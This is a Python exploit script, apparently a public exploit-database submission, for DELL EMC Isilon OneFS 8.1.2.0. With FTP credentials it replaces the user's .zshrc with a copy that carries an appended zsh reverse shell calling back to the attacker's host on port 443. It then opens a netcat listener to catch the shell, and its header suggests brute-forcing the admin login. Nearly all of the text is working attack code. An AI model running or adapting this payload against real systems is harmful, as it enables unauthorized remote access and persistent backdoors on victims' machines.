text: #!/usr/bin/env python
  #
  # Exploit name      : isilon-onefs-ftp-exploit.py
  # Created date      : 9/21/18
  # Submit Date       : 10/10/18
  # Author            : wetw0rk
  # Header Wizard BOI : loganbest
  # Python version    : 2.7
  # Brute Force Script: https://github.com/wetw0rk/Exploit-Development/blob/master/DELL%20EMC%20OneFS%20Storage%20Administration%20%3C%208.1.2.0/isilon-onefs-brute.py 
  # Vendor Homepage   : https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm
  # Software Link     : https://downloads.emc.com/emc-com/usa/Isilon/EMC_Isilon_OneFS_8.1.2.0_Simulator.zip
  # Tested on         : DELL EMC OneFS Storage Administration 8.1.2.0
  #
  # Greetz: Hima (thanks for helping me think of .bashrc), Fr13ndzSec, AbeSnowman, Berserk, Neil
  #
  # [------------ Timeline ------------]
  #   9/21/18 - Contacted Dell PSIRT
  #   9/25/18 - Sent POC code
  #   10/9/18 - Responded with "not considered a vulnerability" 
  #
  # Description :
  #   To exploit this vulnerability first you must gain access to the administrative
  #   interface on 8080 (note no lockouts so you can bruteforce E Z). Once in enable
  #   FTP like so:
  #     -> Protocols -> FTP Settings -> Enable the service and transfers -> With that done, exploit!
  #
  #   Since you're dropped in the user home directory and not a secluded FTP directory
  #   you can inject into .zshrc, however as dell stated you can access other files on
  #   the system as well....
  #
  
  import os
  import sys
  import socket
  import threading
  
  RED = "\033[1m\033[31m[-]\033[0m"
  BLUE = "\033[1m\033[94m[*]\033[0m"
  GREEN = "\033[1m\033[92m[+]\033[0m"
  
  def background_server(lhost):
      global check
  
      fd = open(".zshrc", 'w')
  
      host = "0.0.0.0"
      port = 50121
      sock = socket.socket(
          socket.AF_INET,
          socket.SOCK_STREAM
      )
      sock.bind((host, port))
      sock.listen(5)
  
      print("%s listening on %s:%s" % (BLUE, host,port))
      while True:
          conn, addr = sock.accept()
          if check != 1:
              zshrc_file = conn.recv(4096)
              print("%s generating .zshrc payload" % BLUE)
              fd.write(zshrc_file)
              # msfvenom -a cmd --platform unix -p cmd/unix/reverse_zsh LHOST=192.168.245.136 LPORT=443 -f raw
              fd.write("zsh -c 'zmodload zsh/net/tcp && ztcp %s 443 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &\n" % lhost)
              fd.close()
          else:
              with open('.zshrc', 'r') as myfile:
                  data=myfile.read()
              conn.send(data)
  
  try:
      rhost = sys.argv[1]
      rport = int(sys.argv[2])
      lhost = sys.argv[3]
      username = sys.argv[4]
      password = sys.argv[5]
  except:
      print("Usage: ./%s <rhost> <rport> <lhost> <username> <password>" % sys.argv[0])
      print("Example: ./%s 192.168.245.3 21 192.168.245.136 admin admin" % sys.argv[0])
      exit(0)
  
  check = 0 # start a background server for download+uploads
  server_thread = threading.Thread(target=background_server, args=(lhost,))
  server_thread.start()
  
  # create a socket for the client sending the commands
  print("%s connecting to %s:%s" % (BLUE, rhost, rport))
  csock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  csock.connect((rhost, rport))
  csock.recv(4096)
  print("%s performing login to OneFS using %s:%s" % (BLUE, username, password))
  csock.send("USER %s\r\n" % username)
  csock.recv(4096)
  csock.send("PASS %s\r\n" % password)
  csock.recv(4096)
  print("%s login was successful downloading .zshrc" % GREEN)
  csock.send("PORT %s,195,201\r\n" % lhost.replace(".", ",")) # have port on 50121
  csock.recv(4096)
  csock.send("RETR .zshrc\r\n")
  csock.recv(4096)
  csock.send("RNFR .zshrc\r\n")
  csock.recv(4096)
  print("%s renaming remote .zshrc to .backup" % GREEN)
  csock.send("RNTO .backup\r\n")
  csock.recv(4096)
  check = 1
  print("%s uploading payload to target host" % GREEN)
  csock.send("PORT %s,195,201\r\n" % lhost.replace(".", ",")) # have port on 50121
  csock.recv(4096)
  csock.send("TYPE I\r\n")
  csock.recv(4096)
  csock.send("STOR .zshrc\r\n")
  print("%s exploitation complete waiting for %s to login" % (GREEN, username))
  os.system("nc -lvp 443")
  csock.close()
  